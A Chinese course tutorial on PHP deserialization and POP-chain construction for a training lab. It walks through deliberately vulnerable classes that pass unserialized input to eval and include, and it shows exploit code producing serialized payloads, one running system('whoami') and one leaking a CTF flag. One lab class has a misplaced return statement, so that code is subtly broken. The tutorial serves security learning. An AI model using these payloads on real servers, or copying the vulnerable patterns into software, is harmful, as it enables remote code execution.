WEB渗透—PHP反序列化(六)

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十、pop链前置知识-成员属性赋值对象

1.反序列化例题

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){         //反序列化unserialize()触发魔术方法destruct()
        $this->test->action();            //destruct()从$test调用action()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){             //eval()调用$test2
        eval($this->test2);               //可利用漏洞点在函数eval(),(可执行漏洞)
    }
}
unserialize($_GET['test']);
?>

关联点:如何让$test调用evil里面的成员方法action()

解决思路:给$test赋值为对象test = new evil()

2.解题代码

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();        //关联步骤:给$test赋值实例化对象test = new evil()
    }
}
class evil {                             //序列化只能序列化成员属性,不能序列化成员方法
    var $test2 = "system('whoami');";    //构造命令语句
}
$a = new index();                        //实例化对象index(),自动调用__construct()
echo urlencode(serialize($a));
?>

输出结果:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D

解题方法:

此时$a为实例化对象index(),其中成员属性$test=new evil(),$test为实例化对象evil(),成员属性$test=”system(‘whoami’);”;

回显结果:


十一、pop链前置知识-魔术方法触发规则

魔术方法触发的前提:魔术方法所在类(或对象)被调用

1.例题代码

(目标:显示toString is here!!

<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;             //3.在echo中的source包含实例化sec()的对象
    }
}
class sec {
    var $benben;
    public function __tostring(){        //2.把sec()实例化成对象后当成字符串输出
        echo "tostring is here!!";       //1.需要触发__toString()
    }
}
$b = $_GET['benben'];
unserialize($b);
?>

2.解题代码

<?php
class fast {
    public $source;
}
class sec {
    var $benben;
}
$a = new fast();
$b = new sec();
$a -> source = $b;      //将$b当成字符串赋值给source
echo serialize($a);     //在触发wakeup后执行echo从而触发sec里的__toString
?>

在对象$a里让source赋值对象$b,再触发wakeup后执行echo从而触发sec里的toString

输出结果:

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

回显结果:


十二、pop链构造和poc编写

1.POP链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。

POP链就是利用魔法方法在里面进行多次跳转然后获得敏感数据的一种payload。

2.POC编写

POC(全称:Proof of concept)中文译做概念验证。在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序,获取所需要的的序列化字符串。

3.例题代码

<?php
//flag is in flag.php
class Modifier {
    private $var;
    public function append($value){
        include($value);
        echo $flag;                   //1.目标:触发echo输出$flag
    }
    public function __invoke(){       //2.触发invoke,调用append,并使$var=flag.php
        $this->append($this->var);    //3.invoke触发条件:把对象当成函数
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){     //7.触发toString(触发条件:把对象当做字符串)
        return $this->str->source;
                                      //6.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法
    }
    public function __wakeup(){
        echo $this->source;           //8.给$source赋值为对象Show,当成字符串被echo调用,触发toString
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){     //5.触发get,(触发条件:调用不存在的成员属性)
        $function = $this->p;        //4.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
    }
    return $function();
}
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

解题思路:

第一步:触发invoke,使$var=flag.php;

第二步:触发get,给$p赋值为对象Modifier

第三步:触发toString,给$str赋值为对象Test

第四步:触发wakeup,给$source赋值为对象Show

4.解题代码

<?php
class Modifier {
    private $var="flag.php";     //根据提示flag在flag.php,将$var赋值为flag.php
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Modifier();             //实例化Modifier为$a
$b = new Show();                 //实例化Show为$b
$c = new Test();                 //实例化Test为$c
$c -> p = $a;
$b -> str = $c;
$b -> source = $b;
echo urlencode(serialize($b));
?>

输出结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D 

回显结果:

获得ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/259783.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

高级算法设计与分析(一) -- 算法引论

系列文章目录 高级算法设计与分析&#xff08;一&#xff09; -- 算法引论 高级算法设计与分析&#xff08;二&#xff09; -- 递归与分治策略 高级算法设计与分析&#xff08;三&#xff09; -- 动态规划 未完待续【 高级算法设计与分析&#xff08;四&#xff09; -- 贪…

客服聊天机器人的设计方法

本文会来讨论基于文本的客服聊天机器人的设计方法。 两种客服模式 人工客服 传统的人工客服&#xff0c;完全由人工来提供客服服务&#xff0c;就是客服坐在电脑旁边&#xff0c;同时开n个聊天窗口回复客户。这种方式需要投入很多的人力&#xff0c;效率比较低下。人工客服经…

零售EDI:如何与EDEKA 建立EDI连接?

艾德卡EDEKA 是德国最大的食品零售商&#xff0c;因其采用“指纹付款”的方式进行结算&#xff0c;成为德国超市付款方式改革的先驱。 与EDEKA建立EDI连接&#xff0c;首先需要填写EDEKA提供的调查问卷&#xff0c;其中包括公司信息、EDI负责人信息、EDI供应商信息、销售部门信…

Jmeter实现CSV数据批量导入

CSV&#xff1a;逗号分隔值&#xff0c;是一种简洁且常见的数据存储格式。 1、参数化&#xff1a; 在Jmeter中&#xff0c;可以通过“用户自定义的变量”来实现参数化使操作方便&#xff0c;使用语法位&#xff1a;${参数名}&#xff0c;如下图&#xff1a; 而CSV也同理&…

android11-开机自启脚本

1. 编写myshell脚本 diff --git a/device/rockchip/rk356x/ok3568_r/myshell.sh b/device/rockchip/rk356x/ok3568_r/myshell.sh new file mode 100644 index 0000000000..c78b6d93bd --- /dev/nullb/device/rockchip/rk356x/ok3568_r/myshell.sh-0,0 1,4 #!/vendor/bin/shec…

ThinkPad E550c

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&#xff1a;…

C语言—每日选择题—Day56

指针相关博客 打响指针的第一枪&#xff1a;指针家族-CSDN博客 深入理解&#xff1a;指针变量的解引用 与 加法运算-CSDN博客 第一题 1. 以下叙述中正确的是&#xff08;&#xff09; A&#xff1a;\0 表示字符 0 B&#xff1a;"a" 表示一个字符常量 C&#xff1a;表…

C++内存布局(一)

温故而知新&#xff0c;本文浅聊和回顾下C内存布局的知识。 一、c内存布局 C的内存布局主要包括以下几个部分&#xff1a; 代码段&#xff1a;存储程序的机器代码。.数据段&#xff1a;存储全局变量和静态变量。数据段又分为初始化数据段&#xff08;存储初始化的全局变量和…

JVM基础原理篇-透彻理解类加载子系统(学习笔记)

一、从Hello World轻松理解类加载的基本过程 1.类加载子系统整体工作过程 大白话&#xff1a; 符号引用 - 相当于建房子的图纸&#xff0c;在字节码文件中 直接引用 - 建房子&#xff0c;在Java的内存模型中 这里需要注意下面的代码 这里为什么先在静态代码块给a赋值20&#xf…

(四)pytorch图像识别实战之用resnet18实现花朵分类(代码+详细注解)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、关于这个实战的一些知识点Q1&#xff1a;图像识别实战常用模块解读Q2:数据增强Q3:迁移学习Q4&#xff1a;平均全局池化Q5&#xff1a;设置哪些层需要训练时…

MongoDB的原子操作findAndReplace、findOneAndDelete和deleteMany

本文主要介绍MongoDB的原子操作findAndReplace、findOneAndDelete和deleteMany。 目录 MongoDB的原子操作一、findAndReplace二、findOneAndDelete三、deleteMany MongoDB的原子操作 MongoDB的原子操作指的是在单个操作中对数据库的数据进行读取和修改&#xff0c;并确保操作是…

JaCoCo 统计度量

1、JaCoCo: 一个判断算2个Branch&#xff0c;最后一个括号算一行 2、IDEA&#xff1a;一个判断算一个Branch&#xff0c;最后一个括号不算一行

代码随想录算法训练营Day5 | 454.四数相加||、383.赎金信、35.三个之和、18.四数之和

LeetCode 454 四数相加 || 本题思路&#xff1a; 如果使用暴力的话就是 4 层 for 循环&#xff0c;这个时间复杂度就是 O(n^4) 了。 所以我们可以使用 map &#xff0c;来解决这道题&#xff0c;和之前的两数之和一样&#xff0c;之前是 遍历一个&#xff0c;存进去一个。 如果…

一个真正的软件测试从业人员必备技能有哪些?

协同开发能力&#xff1a; 1. 项目管理&#xff08;SVN、Git&#xff09; 2. 数据分析能力&#xff08;Fiddler、Charles、浏览器F12&#xff09;。 接口测试&#xff1a; 1. 概念及接口测试原理概念&#xff08;概念、接口测试原理&#xff09; 2. 接口测试工具&#xff…

AWS向量数据库Amazon OpenSearch Service使用测评

前言 在大模型盛行的当今&#xff0c;选择适宜的数据库显得尤为重要。因为你需要面对海量训练数据&#xff0c;快速的检索至关紧要&#xff0c;以及对于存储的要求也是至关重要的。对于海量的数据查询和存储是需要巨大的算力支持。向量数据库常用在一些图像文本或者视频的生成…

硬件基础集线器、交换机、路由器原理

OSI七层模型 OSI介绍 OSI &#xff08;Open System Interconnect&#xff09;模型全称为开放式通信系统互连参考模型&#xff0c;是国际标准化组织 ( ISO ) 提出的一个试图使各种计算机在世界范围内互连为网络的标准框架 OSI将计算机网络体系结构划分为七层&#xff0c;每一…

【SQL】根据年份,查询每个月的数据量

根据年份&#xff0c;查询每个月的数据量 一种 WITH Months AS (SELECT 1 AS Month UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5 UNION ALL SELECT 6 UNION ALL SELECT 7 UNION ALL SELECT 8 UNION ALL SELECT 9 UNION ALL SELECT 10 UNION…

Dokit 开源库:简化 Android 应用开发的利器

Dokit 开源库&#xff1a;简化 Android 应用开发的利器 一、Dokit 简介二、Dokit 功能三、Dokit 使用3.1 DoKit Android 最新版本3.2 DoKit Android 接入步骤 四、总结 在 Android 应用开发过程中&#xff0c;我们经常需要处理调试、性能优化和用户体验等方面的问题。然而&…

Java精品项目源码新基于协同过滤算法的旅游推荐系统(编号V69)

Java精品项目源码新基于协同过滤算法的旅游推荐系统(编号V69) 大家好&#xff0c;小辰今天给大家介绍一个基于协同过滤算法的旅游推荐系统

linux ARM64 处理器内存屏障

一、内存类型&#xff1a; ARMv8架构将系统中所有的内存&#xff0c;按照它们的特性&#xff0c;划分成两种&#xff0c;即普通内存和设备内存。并且它们是互斥的&#xff0c;也就是说系统中的某段内存要么是普通内存&#xff0c;要么是设备内存&#xff0c;不能都是。 1&…